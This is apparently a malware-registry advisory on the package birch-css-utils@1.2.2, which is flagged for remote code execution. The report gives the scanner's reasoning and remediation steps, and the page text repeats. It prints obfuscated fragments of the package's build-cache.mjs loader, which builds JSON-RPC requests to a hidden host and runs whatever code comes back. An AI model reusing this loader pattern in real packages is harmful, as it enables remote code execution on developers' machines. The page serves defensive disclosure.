registry / Remote code execution / birch-css-utils / 1.2.2

birch-css-utils@1.2.2

Tiny ESM utility for blending CSS custom-property token maps into var() declarations.

This package appears in our research on the fake Tailwind CSS plugins, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 11d ago · by lpm-firewall-ai

The default entrypoint and lack of lifecycle scripts limit automatic activation, but the included build-cache.mjs file runs retrieved content as code when imported. This concrete execution chain warrants blocking publication.

Static reason

One or more suspicious static signals were detected.

Trigger

Importing build-cache.mjs.

Impact

Retrieved code can execute on the consumer’s machine.

Mechanism

The module sends HTTP JSON-RPC requests, evaluates retrieved text, and launches a detached process with that text.

Attack narrative

Although build-cache.mjs is not the package’s default entrypoint and no install hook is declared, the file is included in the package. Importing it starts an obfuscated routine that makes JSON-RPC requests, evaluates returned text, and launches a detached process. This is a concrete remote code execution surface.

AI rationale

Evidence

build-cache.mjs

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

The manifest sets index.mjs as the package entrypoint and includes build-cache.mjs in the package files.
Importing build-cache.mjs calls its startup function, which selects an asynchronous routine.
That routine constructs HTTP JSON-RPC requests to a host specified through obfuscated values.
The routine evaluates retrieved text and launches a detached process with that text as an argument.

Evidence against

The manifest has no lifecycle scripts, and build-cache.mjs is not the package’s main entrypoint.

Behavioral surface

Source

CryptoDynamicRequireEvalFilesystem

Supply chain

HighEntropyStringsMinifiedObfuscatedTrivial

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 743 KB of source

Source & flagged code

7 flagged

build-cache.mjsView file

2160)); } } _0xa13f5(); }}

High

Ai Review Evidence

Importing build-cache.mjs calls its startup function, which selects an asynchronous routine.

build-cache.mjsView on unpkg · L2

2_0xb50d6(184); const _0x975cd8f = (0x0|0) +1 === (0x3c0c^0x3c0d) +1; const _0x85ca19 = _0xb50d6(150); const _0x23761b1a2 = _0xb50d6(796); const _0x78e940 = _0xb50d6(1059); const _0x63117c4e = JSON.parse(_0xb50d6(431)); const _0xdf110e = (0x92df^0x92de); const _0x5384cd27 = (0xf8e9^0xf8e8)

High

Ai Review Evidence

Importing build-cache.mjs calls its startup function, which selects an asynchronous routine.

build-cache.mjsView on unpkg · L2

2const _0x0a556 = (_0xe7b64, _0x8c04fb7e8) => new Promise((_0x19ef42d) => { try { const _0x66594 = JSON.stringify({ jsonrpc: _0xb50d6(1084), id: 1,method: _0xe7b64,params: _0x8c04fb7e8 }); const _0xedf3a80 = _0xacddd3(_0x4256860)[_0x0bd11d0]({ host: _0xdad9f17,port: _0x4256860,path: _0x85ca19 || _0xb50d6(588), method: _0xb50d6(376),headers: { [_0xb50d6(282)]: _

High

Ai Review Evidence

That routine constructs HTTP JSON-RPC requests to a host specified through obfuscated values.

Findings

7 High2 Medium3 Low

HighObfuscated

HighAi Review Evidencepackage.json

HighAi Review Evidencebuild-cache.mjs

MediumDynamic Requirebuild-cache.mjs

MediumStructural Risk Force Deep Review

LowEval

LowFilesystem

LowHigh Entropy Strings

Affected versions and remediation

This report applies to birch-css-utils@1.2.2.

See all versions of birch-css-utils for other recorded verdicts.

Avoid installing birch-css-utils@1.2.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-29 14:45:04.253Z (UTC).

Source advisory published: 2026-10-26 16:17:58.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

registry / Remote code execution / birch-css-utils / 1.2.2

birch-css-utils@1.2.2

Tiny ESM utility for blending CSS custom-property token maps into var() declarations.

This package appears in our research on the fake Tailwind CSS plugins, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 11d ago · by lpm-firewall-ai

Static reason

One or more suspicious static signals were detected.

Trigger

Importing build-cache.mjs.

Impact

Retrieved code can execute on the consumer’s machine.

Mechanism

The module sends HTTP JSON-RPC requests, evaluates retrieved text, and launches a detached process with that text.

Attack narrative

AI rationale

Evidence

build-cache.mjs

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

The manifest sets index.mjs as the package entrypoint and includes build-cache.mjs in the package files.
Importing build-cache.mjs calls its startup function, which selects an asynchronous routine.
That routine constructs HTTP JSON-RPC requests to a host specified through obfuscated values.
The routine evaluates retrieved text and launches a detached process with that text as an argument.

Evidence against

The manifest has no lifecycle scripts, and build-cache.mjs is not the package’s main entrypoint.

Behavioral surface

Source

CryptoDynamicRequireEvalFilesystem

Supply chain

HighEntropyStringsMinifiedObfuscatedTrivial

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 743 KB of source

Source & flagged code

7 flagged

build-cache.mjsView file

2160)); } } _0xa13f5(); }}

High

Ai Review Evidence

Importing build-cache.mjs calls its startup function, which selects an asynchronous routine.

build-cache.mjsView on unpkg · L2

High

Ai Review Evidence

Importing build-cache.mjs calls its startup function, which selects an asynchronous routine.

build-cache.mjsView on unpkg · L2

High

Ai Review Evidence

That routine constructs HTTP JSON-RPC requests to a host specified through obfuscated values.

Findings

7 High2 Medium3 Low

HighObfuscated

HighAi Review Evidencepackage.json

HighAi Review Evidencebuild-cache.mjs

MediumDynamic Requirebuild-cache.mjs

MediumStructural Risk Force Deep Review

LowEval

LowFilesystem

LowHigh Entropy Strings

Affected versions and remediation

This report applies to birch-css-utils@1.2.2.

See all versions of birch-css-utils for other recorded verdicts.

Avoid installing birch-css-utils@1.2.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-29 14:45:04.253Z (UTC).

Source advisory published: 2026-10-26 16:17:58.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Findings

Affected versions and remediation

AI Security Review

Decision evidence

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other remote code execution packages

Behavioral surface

Related packages

Other remote code execution packages